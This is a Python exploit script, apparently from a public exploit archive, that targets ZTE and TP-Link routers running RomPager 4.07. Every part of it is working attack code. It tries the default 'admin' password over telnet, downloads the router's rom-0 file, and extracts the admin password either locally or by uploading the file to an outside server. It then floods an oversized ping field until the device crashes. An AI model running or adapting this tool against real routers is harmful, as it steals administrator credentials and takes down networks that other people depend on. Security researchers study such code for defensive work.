ZTE and TP-Link RomPager - DoS Exploit

                                                #!/usr/bin/env python
# -*- coding: utf-8 -*- 

# Exploit Title: ZTE and TP-Link RomPager DoS Exploit
# Date: 10-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers: 	ZTE ZXV10 W300
#					TP-Link TD-W8901G
#					TP-Link TD-W8101G
#					TP-Link TD-8840G
# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86
#
# Notes:	Please note this exploit may contain errors, and
#			is provided "as it is". There is no guarantee
#			that it will work on your target router(s), as
#			the code may have to be adapted. 
#			This is to avoid script kiddie abuse as well.
#
# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
#			  Author takes no responsibility for any kind of damage you cause.
#
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
#
# Original write-up: https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
# Video: https://www.youtube.com/watch?v=1fSECo2ewoo
# Dedicate to Nick Knight and Hood3dRob1n
#  
# ./dos.py -i 192.168.1.1

import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
 
class BitReader:
	
    def __init__(self, bytes):
        self._bits = collections.deque()
        
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
            
    def getBit(self):
        return self._bits.popleft()
        
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
        
    def getByte(self):
        return self.getBits(8)
        
    def __len__(self):
        return len(self._bits)
        
class RingList:
	
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
 
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
 
    def get(self):
        return self.__data__
 
    def size(self):
        return len(self.__data__)
 
    def maxsize(self):
        return self.__max__
        
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]

def filter_non_printable(str):
  return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])


def banner():
	return '''

\t\t    _/_/_/                _/_/_/   
\t\t   _/    _/    _/_/    _/          
\t\t  _/    _/  _/    _/    _/_/       
\t\t _/    _/  _/    _/        _/      
\t\t_/_/_/      _/_/    _/_/_/         
                           
 '''                          
def dos(host, password):
	while (1):
		url = 'http://' +host+ '/Forms/tools_test_1'
		parameters = {
		'Test_PVC'			:	'PVC0', 
		'PingIPAddr'		:	'\101'*2000,
		'pingflag'			:	'1',
		'trace_open_flag'	:	'0',
		'InfoDisplay'		:	'+-+Info+-%0D%0A'
		}
		
		params = urllib.urlencode(parameters) 
		
		req = urllib2.Request(url, params) 
		base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
		req.add_header("Authorization", "Basic %s" %base64string)
		req.add_header("Content-type", "application/x-www-form-urlencoded")
		req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
		try:
				print '[~] Sending Payload'	
				response = urllib2.urlopen(req, timeout=1)
				sys.exit(0)
			
		except:
			flag = checkHost(host)
			if flag == 0:
				print '[+] The host is still up and running'
			else:
				print '[~] Success! The host is down'
				sys.exit(0)
				break

def checkHost(host):
	if sys.platform == 'win32':
		c = "ping -n 2 " + host
	else:
		c = "ping -c 2 " + host

	try:
		x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
		time.sleep(1)
		return x
		
	except:
		pass

def checkServer(host):
	connexion = httplib.HTTPConnection(host)
	connexion.request("GET", "/status.html")
	response = connexion.getresponse()
	server = response.getheader("server")
	connexion.close()
	time.sleep(2)
	if server == 'RomPager/4.07 UPnP/1.0':
		return 0
	else:
		return 1

def checkPassword(host):
	print '[+] Checking for default password'
	defaultpass = 'admin'
	tn = telnetlib.Telnet(host, 23, 4)
	tn.read_until("Password: ")
	tn.write(defaultpass + '\n')
	time.sleep(2)
	banner = tn.read_eager()
	banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
	tn.write("exit\n")
	tn.close()
	time.sleep(4)
	if banner == 'Copyright':
		print '[+] Default password is being used'
		dos(host, defaultpass)
	else:
		print '[!] Default Password is not being used'
	while True:
		msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
		try:
			if msg[0] == 'y':
				password = decodePasswordLocal(host)
				print '[*] Router password is: ' +password
				dos(host, password)
				break			        
			if msg[0] == 'n':
				password = decodePasswordRemote(host)
				print '[*] Router password is: ' +password
				dos(host, password)
				break
			else:
				print '[!] Enter a valid choice'
		except Exception, e:
				print e
				continue
		

def decodePasswordRemote(host):
	fname = 'rom-0'
	if os.path.isfile(fname) == True:
		os.remove(fname)
	urllib.urlretrieve ("http://"+host+"/rom-0", fname)
	# If this URL goes down you might have to find one and change this function. 
	# You can also use the local decoder. It might have few errors in getting output.
	url = 'http://198.61.167.113/zynos/decoded.php'                # Target URL
	files = {'uploadedfile': open('rom-0', 'rb') }                 # The rom-0 file we wanna upload
	data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'}    # Additional Parameters we need to include
	headers = { 'User-agent' : 'Python Demo Agent v1' }            # Any additional Headers you want to send or include

	res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
	res1 =res.content
	p = re.search('rows=10>(.*)', res1)
	if p:
		passwd = found = p.group(1)
	else:
		password = 'NotFound'
	return passwd

def decodePasswordLocal(host):
	# Sometimes this might output a wrong password while finding the exact string. 
	# print the result as mentioned below and manually find out
	fname = 'rom-0'
	if os.path.isfile(fname) == True:
		os.remove(fname)
	urllib.urlretrieve ("http://"+host+"/rom-0", fname)
	fpos=8568
	fend=8788
	fhandle=file('rom-0')
	fhandle.seek(fpos)
	chunk="*"
	amount=221
	while fpos < fend:
	    if fend-fpos < amount:
	        amount = amount
	        data = fhandle.read(amount)
	        fpos += len(data)
	        
	reader = BitReader(data)
	result = ''
	   
	window = RingList(2048)
	    
	while True:
	    bit = reader.getBit()
	    if not bit:
	        char = reader.getByte()
	        result += chr(char)
	        window.append(char)
	    else:
	        bit = reader.getBit()
	        if bit:
	            offset = reader.getBits(7)
	            if offset == 0:
	                break
	        else:
	            offset = reader.getBits(11)
	        
	        lenField = reader.getBits(2)
	        if lenField < 3:
	            lenght = lenField + 2
	        else:
	            lenField <<= 2
	            lenField += reader.getBits(2)
	            if lenField < 15:
	                lenght = (lenField & 0x0f) + 5
	            else:
	                lenCounter = 0
	                lenField = reader.getBits(4)
	                while lenField == 15:
	                    lenField = reader.getBits(4)
	                    lenCounter += 1
	                lenght = 15*lenCounter + 8 + lenField
	        
	        for i in xrange(lenght):
	            char = window[-offset]
	            result += chr(char)
	            window.append(char)

	result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
	# In case the password you see is wrong while filtering, manually print it from here and findout. 
	#print result 
	if 'TP-LINK' in result:
	    result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
	    result = result.replace("TP-LINK", "")
	    result = result[1:]

	if 'ZTE' in result:
	    result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
	    result = result.replace("ZTE", "")
	    result = result[1:]

	if 'tc160' in result:
	    result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
	    result = result.replace("tc160", "")
	    result = result[1:]
	return result
	
def regex(path, text):
	match = re.search(path, text)
	if match:
		return match.group()
	else:
		return None

def main():
	if sys.platform == 'win32':
		os.system('cls')
	else:
		os.system('clear')
	try:
		print banner()
		print '''
|=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n
[*] Author: Osanda Malith Jayathissa
[*] Follow @OsandaMalith
[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
[!] Author takes no responsibility for any kind of damage you cause.

	'''
		parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
		parser.add_option('-i', dest='host', 
							type='string',	
							help='Specify the IP to attack')
		(options, args) = parser.parse_args()
		
		if options.host is None:
			parser.print_help()
			exit(-1)

		host = options.host
		x = checkHost(host)

		if x == 0:
			print '[+] The host is up and running'
			server = checkServer(host)
			if server == 0:
				checkPassword(host)
			else:
				print ('[!] Sorry the router is not running RomPager')
		else:
			print '[!] The host is not up and running'
			sys.exit(0)

	except KeyboardInterrupt:
		print '[!] Ctrl + C detected\n[!] Exiting'
		sys.exit(0)
	except EOFError:
		print '[!] Ctrl + D detected\n[!] Exiting'
		sys.exit(0)

if __name__ == "__main__": 
    main()  
#EOF